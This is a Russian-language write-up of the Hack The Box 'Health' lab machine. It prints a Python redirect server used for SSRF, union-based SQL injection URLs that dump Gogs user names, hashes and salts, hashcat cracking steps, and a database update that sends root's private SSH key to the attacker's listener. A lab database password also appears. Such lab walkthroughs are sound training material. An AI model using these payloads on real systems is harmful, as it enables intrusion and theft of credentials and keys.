Хакер - HTB Health. Эксплуатируем SSRF от первоначального доступа до захвата хоста
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- SSRF
- Продвижение
- Gogs SQL Injection
- Локальное повышение привилегий
В этом райтапе я покажу, как искать и эксплуатировать уязвимость SSRF. В дополнение к ней мы заюзаем SQL-инъекцию в GoGits, а затем дополним нашу атаку манипуляцией содержимым базы данных сервиса. Это позволит нам получить критически важные данные и контроль над машиной.
Наша цель — тренировочный стенд Health с площадки Hack The Box. Сложность задачи оценена ее авторами как средняя.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.176 health.htb
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Скрипт нашел два открытых порта: 22 — служба OpenSSH 7.6p1 и 80 — веб‑сервер Apache 2.4.29. Сразу идем на веб‑сервер.

ТОЧКА ВХОДА
Давай заполним необходимые поля и отправим данные. В полях URL можно указать адрес своего веб‑сервера. Предварительно запустим его:
python3 -m http.server 8080


В логах веб‑сервера видим два запроса. Первый — это GET-запрос на указанный Monitored URL, а второй — POST-запрос на Payload URL. Так как http.server не показывает нам полные данные, нужно написать свою реализацию. Давай напишем программу, которая будет выводить HTTP-заголовки, а в случае с POST-запросом — еще и переданные данные.
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
class Serv(BaseHTTPRequestHandler):
def do_GET(self):
print("GET " + str(self.path))
print(str(self.headers))
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print("POST " + str(self.path))
print(str(self.headers))
print(post_data.decode('utf-8'))
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
def log_message(self, format, *args):
return
logging.basicConfig(level=logging.INFO)
httpd = HTTPServer(('', 8080), Serv)
httpd.serve_forever()
httpd.server_close()
Запускаем и делаем повторный запрос.

Видим, что в данных POST-запроса передается информация об указанных URL, а также пометка down. Давай попробуем дать какой‑нибудь ответ на GET-запрос. Для этого изменим метод do_GET:
class Serv(BaseHTTPRequestHandler):
def do_GET(self):
print("GET " + str(self.path))
print(str(self.headers))
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write("<test>RALF_SERVER<test>".encode('utf-8'))

И теперь видим, что в данных POST-запроса нам передают наш же ответ на GET-запрос. Значит, нужно проверить, нет ли здесь возможности для эксплуатации SSRF — то есть возможности подделки запросов.
ТОЧКА ОПОРЫ
SSRF
Первым делом я попробовал добраться до файла /etc/passwd, для чего указал в качестве URL file:///etc/passwd/id_rsa, но получил следующее предупреждение.

Запросить данные с адреса 127.0.0.1 тоже не вышло, но я вспомнил старый трюк с редиректом. Так как проводится фильтрация именно введенных в поле URL данных, мы можем обратиться к 127.0.0.1 в обход этого поля. Для этого нам нужно отправить чекер на свою страницу, которая перешлет клиента на 127.0.0.1. Изменим метод do_GET для выполнения редиректа.
def do_GET(self):
self.send_response(301)
self.send_header('Location', 'http://127.0.0.1/')
self.end_headers()
Повторяем атаку и получаем уже знакомую страницу самого же сервера, что подтверждает наличие уязвимости SSRF.

Для поиска портов, которые могут быть открыты для подключения с локального хоста, можно воспользоваться SYN-сканированием.
sudo nmap -p- -sS --min-rate=1500 health.htb

Находим порт 3000, который как раз фильтруется. Попробуем вытянуть данные с него. Указываем другой URL в обработчике GET:
self.send_header('Location', 'http://127.0.0.1:3000/')
Для удобства я немного изменил обработчик POST, чтобы из ответа сервера автоматически извлекался код HTML, сохранялся в файл и открывался в браузере.
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print(post_data.decode('utf-8'))
f = open('page.html', 'wt')
f.write(json.loads(post_data.decode('utf-8'))['body'])
f.close()
subprocess.run(["firefox", "page.html"])
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
Делаем новый запрос и в открывшемся браузере видим страницу авторизации Gogs.

Эта страница раскрывает нам версию платформы, что поможет при поиске известных уязвимостей. Один запрос к Google, и первая же ссылка дает нам описание готового эксплоита.

Таким образом мы узнаем, что в этой версии Gogs есть возможность провести SQL-инъекцию на странице search через параметр q.

Для эксплуатации нам нужно только менять URL в коде нашего обработчика GET-запросов. Приведенный в PoC пример у меня не сработал, поэтому пришлось немного переработать запрос. Вытянуть версию не получилось, но зато добиваемся выполнения вложенного SQL-запроса select '123'.
http://127.0.0.1:3000/api/v1/users/search?q=qwe')/**/union/**/all/**/select/**/null,null,(select/**/'123'),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/--/**/

ПРОДВИЖЕНИЕ
Gogs SQL Injection
Итак, мы можем выполнять запросы, но получить информацию о структуре таблицы у меня не вышло. Поэтому я скачал исходники Gogs и порылся в них. Там находим структуру User.

Нас здесь интересуют поля name, passwd и salt.
http://127.0.0.1:3000/api/v1/users/search?q=qwe')/**/union/**/all/**/select/**/null,null,(select/**/name/**/from/**/user),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/--/**/

http://127.0.0.1:3000/api/v1/users/search?q=qwe')/**/union/**/all/**/select/**/null,null,(select/**/passwd/**/from/**/user),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/--/**/

http://127.0.0.1:3000/api/v1/users/search?q=qwe')/**/union/**/all/**/select/**/null,null,(select/**/salt/**/from/**/user),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/--/**/

Теперь нужно разобраться с алгоритмом хеширования. Так, в issue на GitHub находим упоминание самого алгоритма.

И уже по ключевому слову находим сам код в исходниках.

У нас есть все параметры для перебора хеша. Приводим его к формату hashcat:
echo '66c074645545781f1064fb7fd1177453db8f0ca2ce58a9d81c04be2e6d3ba2a0d6c032f0fd4ef83f48d74349ec196f4efe37' | xxd -r -ps | base64
echo 'sO3XIbeW14' | base64

А теперь брутим хеш, для чего указываем режим 10900:
hashcat -m 10900 sha.hash rockyou.txt

С полученным паролем подключаемся по SSH и забираем первый флаг.

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь, когда мы получили доступ к хосту, нам нужно собрать информацию, которая поможет в повышении привилегий. Источников очень много, и для автоматизации поисков я обычно использую скрипты PEASS. С их помощью обнаруживаем учетные данные для подключения к базе данных.

Больше ничего найти не удалось, да и сама база ничего нам не дала. Тогда отследим запускаемые на хосте процессы с помощью pspy64. Простое ожидание ничего не дало — все спокойно. Тогда попробуем пройти по всем функциям сайта и посмотреть, приведет ли это к выполнению каких‑либо программ в системе. После создания веб‑хука в консоли посыпались логи.


Подключимся к базе данных и посмотрим содержимое таблицы tasks.
mysql -Dlaravel -ularavel -pMYsql_strongestpass@2014+
select * from tasks;

И получаем указанный нами URL, данные по которому будут отправлены на наш сервер! В самом начале прохождения я пытался получить содержимое файла, но помешал фильтр. Теперь же мы можем, минуя фильтры, просто подменить запись в базе данных. Эксфильтровать попробуем приватный SSH-ключ рута.
update tasks set monitoredUrl='file:///root/.ssh/id_rsa';


И на открытый листенер прилетает запрос, где мы можем найти SSH-ключ пользователя root. С этим ключом подключаемся к системе и забираем второй флаг.

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei